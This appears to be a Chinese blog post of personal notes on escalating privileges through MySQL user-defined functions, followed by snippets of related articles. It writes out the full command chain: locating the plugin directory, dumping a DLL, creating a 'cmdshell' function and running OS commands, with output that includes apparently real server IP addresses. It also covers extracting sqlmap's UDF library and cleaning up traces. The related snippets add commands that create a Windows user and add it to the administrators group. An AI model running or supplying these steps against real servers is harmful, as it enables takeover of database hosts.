mysql提权笔记

最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用

先说手工吧!

mysql<5.0,导出路径随意;5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;mysql>5.1,需要使用

show variables like ‘%plugin%‘;
语句查看插件安装路径,导出的时候指定DLL路径为插件路径。

现在几乎都是五点几吧!低版本的就很少了,select version();查看

我把手工用到的命令记下来

mysql> show variables like ‘%plugin%‘;
+---------------+------------------------------------------+
| Variable_name | Value                                    |
+---------------+------------------------------------------+
| plugin_dir    | D:\wamp\bin\mysql\mysql5.5.16\lib/plugin |
+---------------+------------------------------------------+

mysql> use mysql;
Database changed

mysql> select "aaa" into dumpfile ‘D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moon
udf.dll‘;
ERROR 1086 (HY000): File ‘D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moonudf.dll‘
already exists

已经存在了,我先前弄过了

mysql> create function cmdshell returns string soname ‘udf.dll‘;
ERROR 1125 (HY000): Function ‘cmdshell‘ already exists

mysql> select cmdshell(‘ipconfig‘);

| cmdshell(‘ipconfig‘)

|
Windows IP 配置

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::858e:b0a0:bc98:fecf%11
IPv4 地址 . . . . . . . . . . . . : 27.152.28.230
子网掩码  . . . . . . . . . . . . : 255.255.255.224
IPv4 地址 . . . . . . . . . . . . : 175.43.122.230
子网掩码  . . . . . . . . . . . . : 255.255.255.224
默认网关. . . . . . . . . . . . . : 27.152.28.225

隧道适配器 isatap.{E3397DA6-F698-46FB-A3DB-784ADC1B044E}:

媒体状态  . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

隧道适配器 6TO4 Adapter:

连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2002:1b98:1ce6::1b98:1ce6
IPv6 地址 . . . . . . . . . . . . : 2002:af2b:7ae6::af2b:7ae6
默认网关. . . . . . . . . . . . . : 2002:c058:6301::c058:6301

隧道适配器 Teredo Tunneling Pseudo-Interface:

连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2001:0:da55:94fa:3c18:a35:e467:e319
本地链接 IPv6 地址. . . . . . . . : fe80::3c18:a35:e467:e319%19
默认网关. . . . . . . . . . . . . :

--------------------------------------------完成!
|

1 row in set (0.14 sec)

mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name     | ret | dl          | type     |
+----------+-----+-------------+----------+
| cmdshell |   0 | moonudf.dll | function |
+----------+-----+-------------+----------+
1 row in set (0.07 sec)

附带一个吧!不确定能用,从代码里面抠出来的wiindows_udf

也可以在sqlmap里面抠出来,注意对应

select hex(load_file(‘/usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so‘)) into outfile ‘/tmp/udf.txt‘;

然后是工具了吧!MYSQL_high_version

这里得改------

linux下也差不多的,就懒得写了

--------------------------------------

若mysql>=5.0,语句中的DLL不允许带全路径,如果在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则将会看到”Can‘t open shared library“错误。

如果提示“Function ‘cmdshell‘ already exists”,则输入下列语句可以解决:

delete from mysql.func where name=‘cmdshell‘

函数使用完后,我们需要把之前生成的DLL和创建的函数删除掉,但要注意次序,必须先删除函数再删除DLL。删除函数的语法如下:

drop function 创建的函数名;

时间: 2024-12-09 14:53:12

mysql提权笔记的相关文章

转载:windows的mysql提权方式

mysql提权语句归纳如下: 一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user [email protected]#abcABC /add’); select cmdshell(’net localgroup administrators iis_user /add’); select

MYSQL提权方法

cve-2016-6662 MYSQL提权分析 MySQL <= 5.7.15 远程代码执行/ 提权 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影响,包括: MariaDB PerconaDB创建bob用户,并赋予file,select,insert权限,创建用于实验的数据库activedb和表active_table 将exp先写入tmp目录,并编译成so文件,需要修改一下ip,port和my.cnf的位置 select "TYPE=TRIGGERS\ntrigg

web提权笔记

[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击. 下面我们来了解下window的权限(来自百度百科): Windows 提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容. " 权限"(Permission)

Mysql提权总结

mysql默认状态下是不开放对外访问功能的 1.如何设置才能允许外网访问MySQL 使用"mysql -uroot -proot"命令可以连接到本地的mysql服务: 使用"use mysql"命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库: 使用"GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTI

mysql提权常用方法

一般是root权限,知道mysql root权限,root账号密码 启动项提权:原理:利用高权限的root写入一个vbs脚本到启动项,再通过一些方法如ddos,社工管理员之类的方法来让服务器重启,运行脚本,达到提取目的1.查看我们进入数据库中有些什么数据表mysql>show tables;默认的情况下,test中没有任何表的存在.以下为关键的部分2.在TEST数据库下创建一个新的表:mysql>create table a (cmd text);好了,我们创建了一个新的表,表名为a,表中只存

MySQL提权

1.利用sqlmap的UDF提权 1.找个可写的目录上传lib_mysqludf_sys.dll,根据mysql的版本导入到windows\system32或者mysql的\lib\plugin目录下 select @@plugin_dir select load_flie('C:\\RECYCLER\\lib_mysqludf_sys.dll') into dumpfile 'C:\\windows\\system32\\lib_mysqludf_sys.dll' 2.创建函数执行命令 cre

MYSQL提权的几种方式

MYSQL在windows和linux平台下存在几种不同的提权姿势,以下会做相关阐述,更多的是学习前辈的经验 Windows UDF提权 在windows下存在一个叫做动态链接库的东西,俗称DLL.该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中:在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数 在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或

利用sqlmap进行mysql提权的小方法(win与liunx通用)

文章作者:[email protected]文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 2.利